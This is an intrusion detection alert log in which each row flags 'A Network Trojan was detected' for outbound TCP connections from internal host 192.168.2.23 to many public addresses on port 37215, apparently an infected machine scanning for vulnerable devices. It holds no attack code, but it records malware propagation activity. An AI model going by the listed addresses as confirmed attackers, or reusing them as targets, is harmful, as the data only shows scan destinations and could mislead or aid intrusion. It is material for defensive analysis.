2024-12-03T22:12:11.899735+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58500	197.25.239.17	37215	TCP
2024-12-03T22:12:12.055788+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34128	156.107.59.192	37215	TCP
2024-12-03T22:12:12.055792+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51360	156.66.88.100	37215	TCP
2024-12-03T22:12:12.055923+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47296	156.143.18.45	37215	TCP
2024-12-03T22:12:12.064903+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36934	197.3.39.188	37215	TCP
2024-12-03T22:12:12.080472+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48498	156.100.189.237	37215	TCP
2024-12-03T22:12:12.087117+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39738	197.80.227.170	37215	TCP
2024-12-03T22:12:12.096499+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42154	41.108.205.190	37215	TCP
2024-12-03T22:12:12.149647+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44534	197.121.34.254	37215	TCP
2024-12-03T22:12:12.174499+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37578	156.75.218.24	37215	TCP
2024-12-03T22:12:13.061754+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42012	156.239.228.206	37215	TCP
2024-12-03T22:12:13.118277+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46262	156.22.51.217	37215	TCP
2024-12-03T22:12:14.273128+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35998	197.6.129.118	37215	TCP
2024-12-03T22:12:14.288325+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58282	41.207.246.186	37215	TCP
2024-12-03T22:12:15.009468+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59654	156.214.207.66	37215	TCP
2024-12-03T22:12:15.040046+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57150	197.115.231.209	37215	TCP
2024-12-03T22:12:15.065159+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40116	156.124.60.241	37215	TCP
2024-12-03T22:12:15.065215+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36106	156.86.224.106	37215	TCP
2024-12-03T22:12:15.065534+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59548	197.120.15.57	37215	TCP
2024-12-03T22:12:15.071671+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39918	156.37.11.97	37215	TCP
2024-12-03T22:12:15.080588+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34314	197.194.225.14	37215	TCP
2024-12-03T22:12:15.080697+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55898	197.102.76.136	37215	TCP
2024-12-03T22:12:15.086931+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45194	197.194.144.225	37215	TCP
2024-12-03T22:12:15.087299+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39692	41.80.180.178	37215	TCP
2024-12-03T22:12:15.087327+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34930	41.255.20.86	37215	TCP
2024-12-03T22:12:15.087334+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42458	156.35.235.116	37215	TCP
2024-12-03T22:12:15.087339+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47528	41.250.32.220	37215	TCP
2024-12-03T22:12:15.087357+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47312	41.184.3.254	37215	TCP
2024-12-03T22:12:15.087390+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45514	197.59.17.178	37215	TCP
2024-12-03T22:12:15.096233+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47878	156.162.252.29	37215	TCP
2024-12-03T22:12:15.096375+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36640	156.85.114.140	37215	TCP
2024-12-03T22:12:15.096584+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52672	197.223.193.153	37215	TCP
2024-12-03T22:12:15.096593+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54892	197.55.121.154	37215	TCP
2024-12-03T22:12:15.096610+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48390	197.149.109.250	37215	TCP
2024-12-03T22:12:15.102659+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33738	156.210.68.86	37215	TCP
2024-12-03T22:12:15.102781+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53488	197.205.232.108	37215	TCP
2024-12-03T22:12:15.102871+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43208	41.244.89.175	37215	TCP
2024-12-03T22:12:15.103074+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46270	41.4.101.209	37215	TCP
2024-12-03T22:12:15.103081+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51350	156.143.38.41	37215	TCP
2024-12-03T22:12:15.103153+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36238	156.114.213.59	37215	TCP
2024-12-03T22:12:15.103262+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47336	197.251.221.207	37215	TCP
2024-12-03T22:12:15.103388+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35626	156.183.41.159	37215	TCP
2024-12-03T22:12:15.111969+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33986	156.63.198.34	37215	TCP
2024-12-03T22:12:15.112075+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33946	156.0.99.185	37215	TCP
2024-12-03T22:12:15.112077+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51678	197.216.4.85	37215	TCP
2024-12-03T22:12:15.118484+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40818	197.137.99.7	37215	TCP
2024-12-03T22:12:15.118564+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40972	41.116.28.129	37215	TCP
2024-12-03T22:12:15.127654+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49640	41.152.245.211	37215	TCP
2024-12-03T22:12:15.127995+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41286	197.138.48.81	37215	TCP
2024-12-03T22:12:15.133890+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38890	41.210.191.65	37215	TCP
2024-12-03T22:12:15.135138+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55190	197.132.47.59	37215	TCP
2024-12-03T22:12:15.143327+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58434	41.44.55.171	37215	TCP
2024-12-03T22:12:15.143590+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56104	156.109.62.186	37215	TCP
2024-12-03T22:12:15.143590+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40582	197.90.173.218	37215	TCP
2024-12-03T22:12:15.143861+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38036	41.86.39.229	37215	TCP
2024-12-03T22:12:15.143975+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41206	156.20.177.69	37215	TCP
2024-12-03T22:12:15.144410+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37818	156.64.61.35	37215	TCP
2024-12-03T22:12:15.144647+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57124	41.135.11.62	37215	TCP
2024-12-03T22:12:15.144650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33316	156.188.165.91	37215	TCP
2024-12-03T22:12:15.144786+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35230	41.97.159.163	37215	TCP
2024-12-03T22:12:15.146025+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43368	197.203.23.32	37215	TCP
2024-12-03T22:12:15.174438+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50122	197.12.39.12	37215	TCP
2024-12-03T22:12:15.174574+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53650	156.12.237.133	37215	TCP
2024-12-03T22:12:15.176439+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52042	156.9.37.230	37215	TCP
2024-12-03T22:12:15.221347+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57274	41.182.215.161	37215	TCP
2024-12-03T22:12:15.259596+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46164	41.87.47.67	37215	TCP
2024-12-03T22:12:15.274446+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34432	41.141.218.151	37215	TCP
2024-12-03T22:12:15.290252+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57218	156.103.109.243	37215	TCP
2024-12-03T22:12:15.290622+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34610	197.202.156.108	37215	TCP
2024-12-03T22:12:15.306644+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43664	197.149.227.205	37215	TCP
2024-12-03T22:12:15.346612+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55636	197.209.146.144	37215	TCP
2024-12-03T22:12:15.346954+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50668	197.133.211.94	37215	TCP
2024-12-03T22:12:17.831114+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43902	41.57.42.235	37215	TCP
2024-12-03T22:12:18.321853+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47776	41.104.46.48	37215	TCP
2024-12-03T22:12:18.321917+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46350	197.69.77.153	37215	TCP
2024-12-03T22:12:18.337674+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33162	41.104.114.211	37215	TCP
2024-12-03T22:12:18.337675+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51038	156.100.177.250	37215	TCP
2024-12-03T22:12:18.339709+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45184	156.223.160.22	37215	TCP
2024-12-03T22:12:18.352829+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39240	156.11.199.65	37215	TCP
2024-12-03T22:12:18.362317+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39804	156.238.183.10	37215	TCP
2024-12-03T22:12:18.384477+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46240	41.161.237.232	37215	TCP
2024-12-03T22:12:18.393366+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39916	41.70.104.246	37215	TCP
2024-12-03T22:12:18.395189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43022	197.73.153.0	37215	TCP
2024-12-03T22:12:18.424731+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35748	197.22.145.57	37215	TCP
2024-12-03T22:12:18.425012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38628	41.145.228.53	37215	TCP
2024-12-03T22:12:18.471457+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35220	197.138.120.236	37215	TCP
2024-12-03T22:12:18.549427+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33134	41.254.145.21	37215	TCP
2024-12-03T22:12:19.384544+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45014	156.107.32.220	37215	TCP
2024-12-03T22:12:19.393246+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52960	156.35.200.12	37215	TCP
2024-12-03T22:12:19.415456+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35158	41.21.21.53	37215	TCP
2024-12-03T22:12:20.415251+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57802	197.132.221.211	37215	TCP
2024-12-03T22:12:20.415257+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57418	197.112.138.120	37215	TCP
2024-12-03T22:12:20.431207+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39958	156.134.199.251	37215	TCP
2024-12-03T22:12:20.440188+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56208	41.85.149.60	37215	TCP
2024-12-03T22:12:20.471257+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40566	197.152.165.235	37215	TCP
2024-12-03T22:12:20.471332+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40304	156.204.91.108	37215	TCP
2024-12-03T22:12:21.681023+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52368	156.35.65.239	37215	TCP
2024-12-03T22:12:21.681025+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51002	41.200.79.73	37215	TCP
2024-12-03T22:12:21.696531+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47218	197.112.15.238	37215	TCP
2024-12-03T22:12:21.712371+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60198	41.93.128.148	37215	TCP
2024-12-03T22:12:21.721441+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48246	197.114.51.228	37215	TCP
2024-12-03T22:12:21.721667+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60416	156.70.183.9	37215	TCP
2024-12-03T22:12:21.722058+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37070	197.87.38.216	37215	TCP
2024-12-03T22:12:21.727880+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45494	41.26.53.97	37215	TCP
2024-12-03T22:12:21.743182+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39678	197.196.5.90	37215	TCP
2024-12-03T22:12:21.743552+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41104	197.13.187.4	37215	TCP
2024-12-03T22:12:21.743576+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48416	156.91.125.167	37215	TCP
2024-12-03T22:12:21.768199+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49908	197.243.213.241	37215	TCP
2024-12-03T22:12:21.768385+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37592	197.137.106.64	37215	TCP
2024-12-03T22:12:21.768467+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45752	156.138.105.36	37215	TCP
2024-12-03T22:12:22.003109+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38908	156.75.45.93	37215	TCP
2024-12-03T22:12:22.003176+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52298	197.119.131.91	37215	TCP
2024-12-03T22:12:22.596483+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41794	197.160.209.63	37215	TCP
2024-12-03T22:12:22.627604+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33122	156.81.66.114	37215	TCP
2024-12-03T22:12:22.627920+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41944	197.253.86.118	37215	TCP
2024-12-03T22:12:22.696482+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58286	41.98.14.4	37215	TCP
2024-12-03T22:12:22.696512+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37714	41.171.61.174	37215	TCP
2024-12-03T22:12:22.696796+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47238	41.73.237.243	37215	TCP
2024-12-03T22:12:22.696806+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53456	197.251.176.4	37215	TCP
2024-12-03T22:12:22.711995+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47984	41.27.42.104	37215	TCP
2024-12-03T22:12:22.712121+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59050	41.159.97.69	37215	TCP
2024-12-03T22:12:22.712270+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50744	156.165.2.188	37215	TCP
2024-12-03T22:12:22.712539+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44480	41.232.183.136	37215	TCP
2024-12-03T22:12:22.712546+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36308	41.246.188.2	37215	TCP
2024-12-03T22:12:22.712851+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34904	156.15.113.215	37215	TCP
2024-12-03T22:12:22.712851+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59252	41.112.141.94	37215	TCP
2024-12-03T22:12:22.721408+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59450	197.141.143.19	37215	TCP
2024-12-03T22:12:22.727812+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41742	41.40.238.7	37215	TCP
2024-12-03T22:12:22.737294+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60816	197.193.35.236	37215	TCP
2024-12-03T22:12:22.743184+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35462	41.78.33.200	37215	TCP
2024-12-03T22:12:22.752810+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37922	197.175.14.168	37215	TCP
2024-12-03T22:12:22.752970+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36010	197.151.70.169	37215	TCP
2024-12-03T22:12:22.759066+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59624	197.75.53.216	37215	TCP
2024-12-03T22:12:22.768334+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60604	156.223.212.153	37215	TCP
2024-12-03T22:12:22.768581+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41646	156.208.170.89	37215	TCP
2024-12-03T22:12:22.768712+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33548	197.176.175.1	37215	TCP
2024-12-03T22:12:22.769024+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45794	41.9.189.105	37215	TCP
2024-12-03T22:12:22.792967+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47182	156.169.150.199	37215	TCP
2024-12-03T22:12:22.799408+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47842	197.75.120.154	37215	TCP
2024-12-03T22:12:22.799542+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48414	156.226.227.248	37215	TCP
2024-12-03T22:12:22.956968+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59870	41.64.93.32	37215	TCP
2024-12-03T22:12:23.010893+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40522	156.30.160.79	37215	TCP
2024-12-03T22:12:23.587263+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51930	197.53.215.44	37215	TCP
2024-12-03T22:12:23.643469+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60048	197.182.187.123	37215	TCP
2024-12-03T22:12:23.993407+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59402	197.41.217.48	37215	TCP
2024-12-03T22:12:24.002762+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49574	41.70.10.205	37215	TCP
2024-12-03T22:12:24.009211+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35592	156.33.67.57	37215	TCP
2024-12-03T22:12:24.009404+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32940	41.30.9.127	37215	TCP
2024-12-03T22:12:24.009540+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33736	41.156.249.18	37215	TCP
2024-12-03T22:12:24.009763+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53724	197.140.91.250	37215	TCP
2024-12-03T22:12:24.018599+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42634	41.202.255.73	37215	TCP
2024-12-03T22:12:24.025076+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54970	197.155.51.252	37215	TCP
2024-12-03T22:12:24.034803+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60888	41.149.10.39	37215	TCP
2024-12-03T22:12:24.040996+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44868	197.42.94.255	37215	TCP
2024-12-03T22:12:24.049972+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60060	41.7.154.165	37215	TCP
2024-12-03T22:12:24.050282+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57802	41.165.170.139	37215	TCP
2024-12-03T22:12:24.050797+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58962	41.50.4.233	37215	TCP
2024-12-03T22:12:24.051560+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48210	41.45.132.190	37215	TCP
2024-12-03T22:12:24.065419+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52356	156.110.88.234	37215	TCP
2024-12-03T22:12:25.009076+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49006	156.219.94.7	37215	TCP
2024-12-03T22:12:25.009363+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50274	156.42.142.18	37215	TCP
2024-12-03T22:12:25.034257+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47668	197.67.7.41	37215	TCP
2024-12-03T22:12:25.051849+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53566	156.26.102.2	37215	TCP
2024-12-03T22:12:25.052314+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50060	197.55.62.139	37215	TCP
2024-12-03T22:12:25.056198+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57240	156.108.21.133	37215	TCP
2024-12-03T22:12:25.134100+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51482	41.200.235.178	37215	TCP
2024-12-03T22:12:25.190376+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36326	197.150.194.84	37215	TCP
2024-12-03T22:12:25.221571+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40934	41.174.34.14	37215	TCP
2024-12-03T22:12:26.258936+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49510	156.250.204.207	37215	TCP
2024-12-03T22:12:26.306667+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59200	197.177.101.101	37215	TCP
2024-12-03T22:12:26.346563+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55408	156.0.115.180	37215	TCP
2024-12-03T22:12:26.363175+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53888	197.23.165.51	37215	TCP
2024-12-03T22:12:26.441742+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37174	41.23.206.106	37215	TCP
2024-12-03T22:12:27.009130+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58216	41.168.184.73	37215	TCP
2024-12-03T22:12:27.024710+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49878	197.16.119.151	37215	TCP
2024-12-03T22:12:27.024913+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58758	156.77.226.147	37215	TCP
2024-12-03T22:12:27.024960+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47556	197.206.237.130	37215	TCP
2024-12-03T22:12:27.025085+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44396	156.192.106.69	37215	TCP
2024-12-03T22:12:27.025191+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49512	41.92.117.191	37215	TCP
2024-12-03T22:12:27.025313+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37192	156.22.171.221	37215	TCP
2024-12-03T22:12:27.025532+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45020	156.188.110.2	37215	TCP
2024-12-03T22:12:27.025534+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44220	156.48.200.254	37215	TCP
2024-12-03T22:12:27.049793+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49454	156.141.162.16	37215	TCP
2024-12-03T22:12:27.058903+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57484	197.24.167.87	37215	TCP
2024-12-03T22:12:27.059819+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43496	156.102.48.87	37215	TCP
2024-12-03T22:12:27.059878+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45596	41.84.253.55	37215	TCP
2024-12-03T22:12:27.060257+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40564	197.18.151.175	37215	TCP
2024-12-03T22:12:27.060269+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56620	41.248.13.15	37215	TCP
2024-12-03T22:12:27.067012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49576	156.144.134.139	37215	TCP
2024-12-03T22:12:27.067159+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60786	156.52.29.224	37215	TCP
2024-12-03T22:12:27.067174+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47654	41.85.221.128	37215	TCP
2024-12-03T22:12:27.067338+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54064	41.115.95.31	37215	TCP
2024-12-03T22:12:27.067987+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40760	197.43.130.27	37215	TCP
2024-12-03T22:12:27.071750+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34410	156.105.187.101	37215	TCP
2024-12-03T22:12:27.072592+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55880	41.100.218.59	37215	TCP
2024-12-03T22:12:27.072808+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59470	41.99.227.204	37215	TCP
2024-12-03T22:12:27.081024+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57100	41.189.153.169	37215	TCP
2024-12-03T22:12:27.081237+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44430	41.39.40.164	37215	TCP
2024-12-03T22:12:27.081485+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37398	41.140.47.137	37215	TCP
2024-12-03T22:12:27.081514+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58512	156.121.228.159	37215	TCP
2024-12-03T22:12:27.081609+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40910	41.99.165.184	37215	TCP
2024-12-03T22:12:27.087198+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37446	156.228.105.29	37215	TCP
2024-12-03T22:12:27.087432+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40246	197.44.22.112	37215	TCP
2024-12-03T22:12:27.096539+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48264	41.25.142.250	37215	TCP
2024-12-03T22:12:27.096862+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57184	197.222.193.2	37215	TCP
2024-12-03T22:12:27.097129+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49710	41.95.244.156	37215	TCP
2024-12-03T22:12:27.097133+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49114	41.24.236.53	37215	TCP
2024-12-03T22:12:27.097280+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49436	156.83.126.99	37215	TCP
2024-12-03T22:12:27.097456+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43160	197.149.96.40	37215	TCP
2024-12-03T22:12:27.097650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45346	156.141.65.64	37215	TCP
2024-12-03T22:12:27.098050+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43882	197.193.22.110	37215	TCP
2024-12-03T22:12:27.274630+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59838	41.139.149.190	37215	TCP
2024-12-03T22:12:27.290982+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60036	197.3.238.120	37215	TCP
2024-12-03T22:12:27.299644+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53444	156.170.122.198	37215	TCP
2024-12-03T22:12:27.299686+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45258	156.45.163.234	37215	TCP
2024-12-03T22:12:27.306125+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48258	197.64.59.51	37215	TCP
2024-12-03T22:12:27.315679+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40624	41.37.102.10	37215	TCP
2024-12-03T22:12:27.315972+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54026	156.27.237.55	37215	TCP
2024-12-03T22:12:27.315974+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35308	41.59.146.14	37215	TCP
2024-12-03T22:12:27.346828+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42254	197.186.98.228	37215	TCP
2024-12-03T22:12:27.347006+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60316	156.5.121.192	37215	TCP
2024-12-03T22:12:28.425263+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36652	156.241.110.208	37215	TCP
2024-12-03T22:12:30.305945+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52264	156.194.218.197	37215	TCP
2024-12-03T22:12:30.393188+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39980	41.236.181.83	37215	TCP
2024-12-03T22:12:30.478371+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44478	41.69.190.76	37215	TCP
2024-12-03T22:12:30.509012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60224	156.220.199.145	37215	TCP
2024-12-03T22:12:31.384277+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49774	41.21.161.87	37215	TCP
2024-12-03T22:12:32.370596+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41634	41.40.58.21	37215	TCP
2024-12-03T22:12:32.378208+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59118	41.2.149.180	37215	TCP
2024-12-03T22:12:32.378209+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53480	41.209.69.163	37215	TCP
2024-12-03T22:12:32.378518+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49792	41.222.91.171	37215	TCP
2024-12-03T22:12:32.384296+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43320	41.232.166.27	37215	TCP
2024-12-03T22:12:32.393514+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55598	156.251.55.108	37215	TCP
2024-12-03T22:12:32.487283+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47988	41.189.152.87	37215	TCP
2024-12-03T22:12:32.603283+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50942	197.188.18.246	37215	TCP
2024-12-03T22:12:32.643548+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53872	156.39.27.214	37215	TCP
2024-12-03T22:12:33.509376+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45546	156.141.55.17	37215	TCP
2024-12-03T22:12:33.518446+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41370	156.209.29.102	37215	TCP
2024-12-03T22:12:33.518500+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39918	41.216.92.8	37215	TCP
2024-12-03T22:12:33.518551+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48748	197.203.132.204	37215	TCP
2024-12-03T22:12:33.518852+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44746	156.53.168.115	37215	TCP
